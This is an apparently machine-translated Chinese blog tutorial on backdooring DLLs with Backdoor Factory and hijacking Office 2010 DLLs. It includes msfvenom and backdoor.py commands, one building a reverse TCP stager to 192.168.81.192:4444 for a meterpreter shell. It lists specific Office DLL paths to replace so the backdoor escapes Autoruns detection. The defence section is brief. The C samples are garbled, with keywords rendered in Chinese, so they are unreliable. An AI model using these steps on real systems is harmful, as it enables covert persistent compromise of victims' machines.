发布于2022年11月8日3年前 0x00 前言 之前的文章《利用BDF向EXE文件植入后门》介绍了利用后门工厂在EXE文件中嵌入后门的方法。这次我们将介绍在DLL文件中嵌入后门的思想,演示一种利用DLL劫持的方法,总结这种方法的特点,分析防御思路。 0x01 简介 本文将介绍以下内容: 劫持自己的DLL并修复错误 劫持系统的DLL并绕过自动运行的后门检测 0x02 利用思路 和嵌入DLL EXE文件的思路是一样的。它还改变程序的执行过程,跳转到代码洞穴,执行payload,然后返回程序的正常进程。 DLL和EXE文件最大的区别就是多了一些导出函数的功能。 在实现DLL劫持时,往往需要获取原DLL的导出函数,模拟导出函数,添加有效载荷,实现利用。 那么,后门工厂嵌入在DLL文件的后门中,是否应该考虑导出函数? 我们来测试一下,得出结论。 0x03 编写程序进行测试 测试dll testdll.dll: #包括 #包括 BOOL API entry DllMain(HMODULE HMODULE, 呼叫的原因, LPVOID lpReserved ) { 开关(ul_reason_for_call) { 案例DLL_PROCESS_ATTACH: //MessageBox(NULL,NULL,NULL,0); //睡眠(5000); printf('[]DLL _ PROCESS _ ATTACH \ n '); 案例DLL_THREAD_ATTACH: printf('[]DLL _ THREAD _ ATTACH \ n '); 案例DLL_THREAD_DETACH: printf('[]DLL _ THREAD _ DETACH \ n '); 案例DLL_PROCESS_DETACH: printf('[]DLL _ PROCESS _ DETACH \ n '); 打破; } 返回TRUE } void导出1() { printf('[]export 1 \ n '); } 导出函数是Export1 Dll加载程序loader.exe: #包括 typedef void(* Export)(); int main(int argc,char* argv[]) { 导出exporttest printf('[*]LoadLibrary \ n '); HMODULE hdll lib=LoadLibrary(' testdll . dll '); Export test=(Export)GetProcAddress(hDllLib,' Export 1 '); export test(); 睡眠(10000); 免费图书馆(hDllLib); printf('[*]free library \ n '); 返回0; } 程序如下所示执行,加载testdll.dll,并调用导出函数Export1。 使用后门工厂向DLL文件添加后门: MSF venom-p windows/exec CMD=calc . exe-f raw calc . bin。/back door . py-f testdll.dll-s用户提供_外壳代码_线程化-U calc.bin -a 再次执行loader.exe,并测试下图 Payload执行成功,但程序流程被更改,FreeLibrary无法正常返回。 您需要调试DLL来找出错误的原因。 老师的第一个空跳模板:/back door . py-f testdll.dll-s洞穴_矿工_内联 选择。文本段。 执行Loader.exe,程序正常,那么中间的有效载荷有问题。 用免疫调试器打开一个新的testdll.dll,找到被劫持的位置,将有效载荷保存在0x10005716中。 如下图 可以推测,只要有效载荷能保持堆栈平衡,就不会影响程序的正常执行。 接下来,在0x10005716处填入我们的有效载荷。 可以使用CFF浏览器添加有效载荷。 首先定位有效载荷的起始点。 普沙德 推进功能 相应的十六进制代码是609C。 在CFF浏览器中切换到十六进制编辑器视图,搜索609C,找到起始点0x0000571A。 注: 免疫调试器得到的内存虚拟地址是0x1000571A,两者对应,位置正确。 为了扩展有效载荷空间,可以将下面调整栈平衡的代码整体后移。 如下图 将0x0005772-0x0000579E的全部数据后移,中间填入0x90。 选择该零件,右键-复制-十六进制。 找到正确的位置,右键单击-填充。 完整的操作如下 按照这种方法,中间可以填充修改后的有效载荷,完成Bug修复。 通过免疫调试器看DLL文件,可以看到后门工厂在同一个地方劫持了DLL和EXE文件。 如下图 得出结论: 对于DLL文件,劫持初始化部分的结果是加载LoadLibrary时可以执行有效载荷。如果希望在程序加载DLL导出函数时执行有效载荷,可以将跳转代码改为导出函数。 0x04 劫持系统的DLL 对于Office 2010,分享几个你自己发现的DLL劫持和利用地点。 1、劫持Word-审阅试图 LOCALSVC。DLL,位于c:\ program files \ common files \ Microsoft shared \ rrloc 14 \ 向dll添加有效负载。/backdoor . py-f LOCALSVC.DLL-H 192 . 168 . 81 . 192-P 4444-s反向_tcp_stager_threaded 替换dll(需要管理员许可),启动word.exe,切换到查看视图,弹回meterpreter。 测试下图 2、劫持word-插入-图片 Tiptsf.dll,位于C: \程序文件\公共文件\ Microsoft共享\ ink \ 替换需要TrustedInstaller权限。 关于如何获得TrustedInstaller权限,请参考文章《渗透技巧——Token窃取与利用》。 3、劫持word-文件 它还会影响其他位置: word-页面布局-主题-浏览主题 GrooveIntlResource.dll,位于C:\ Program Files \ Microsoft Office \ Office 14 \ 2052 需要管理员权限。 4、劫持Excel-插入-图片 MSPTLS。DLL,位于C:\ Program Files \ Common Files \ Microsoft Shared \ Office 14 \ 需要管理员权限。 上述测试如下 注: 本节内容只是演示DLL劫持的一些利用方法。这些特殊的劫持地点只有在软件的某些功能开启时才会启动,因此可以绕过Autoruns的检测。 0x05 防御 对于系统DLL,将由微软签名。如果在DLL中植入后门,签名就会失效,这是一个普遍存在的问题。 但是对于第三方开发的软件,调用的第三方DLL是没有签名的,所以存在很大的被利用的风险。 0x06 小结 本文测试了利用后门工厂向DLL文件植入后门的方法,介绍了修复bug的思路,分享了一个利用DLL劫持的方法,仅供测试。通过总结这种方法的特点,简要介绍了防守中需要注意的问题。 留下回复
创建帐户或登录后发表意见